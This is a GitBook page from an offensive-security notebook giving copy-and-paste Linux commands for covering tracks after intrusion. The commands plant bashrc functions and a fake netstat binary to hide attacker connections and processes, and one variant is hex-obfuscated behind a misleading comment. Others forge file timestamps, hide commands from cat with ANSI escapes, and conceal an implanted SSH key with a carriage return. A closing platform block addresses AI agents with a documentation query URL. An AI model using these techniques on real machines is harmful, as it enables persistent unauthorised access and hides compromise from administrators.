> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/covering-tracks/backdoor-linux-commands.md). # Backdoor Linux Commands * Credit: ### **Hide a Network Connection** The trick is to hijack `netstat` and use grep to filter out our connection. This example filters any connection on port 31337 *or* ip 1.2.3.4. The same should be done for `ss` (a netstat alternative). **Method 1 - Hiding a connection with bash-function in \~/.bashrc** Cut & paste this to add the line to \~/.bashrc ``` echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \ && touch -r /etc/passwd ~/.bashrc ``` Or cut & paste this for an obfuscated entry to \~/.bashrc: ``` X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval \$(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc \ && touch -r /etc/passwd ~/.bashrc ``` The obfuscated entry to \~/.bashrc will look like this: ``` eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG ``` ### **Method 2 - Hiding a connection with a binary in $PATH** Create a fake netstat binary in /usr/local/sbin. On a default Debian (and most Linux) the PATH variables (`echo $PATH`) lists /usr/local/sbin *before* /usr/bin. This means that our hijacking binary /usr/local/sbin/netstat will be executed instead of /usr/bin/netstat. ``` echo -e "#! /bin/bash exec /usr/bin/netstat \"\$@\" | grep -Fv -e :22 -e 1.2.3.4" >/usr/local/sbin/netstat \ && chmod 755 /usr/local/sbin/netstat \ && touch -r /usr/bin/netstat /usr/local/sbin/netstat ``` *(thank you iamaskid)* ### **Hide a process as user** Continuing from "Hiding a connection" the same technique can be used to hide a process. This example hides the nmap process and also takes care that our `grep` does not show up in the process list by renaming it to GREP: ``` echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \ && touch -r /etc/passwd ~/.bashrc ``` ### **Hide from cat** ANSI escape characters or a simple ([carriage return](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) can be used to hide from `cat` and others. Hide the last command (example: `id`) in `~/.bashrc`: ``` echo -e "id #\\033[2K\\033[1A" >>~/.bashrc ### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A ### moves the cursor 1 line up. ### The '#' after the command 'id' is a comment and is needed so that bash still ### executes the 'id' but ignores the two ANSI escape sequences. ``` Note: We use `echo -e` to convert `\\033` to the ANSI escape character (hex 0x1b). Adding a (carriage return) goes a long way to hide your ssh key from `cat`: ``` echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(authorized_keys ### This adds our key as the first key and 'cat authorized_keys' won't show ### it. The $'\r' is a bash special to create a \r (carriage return). ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://book.ice-wzl.xyz/covering-tracks/backdoor-linux-commands.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.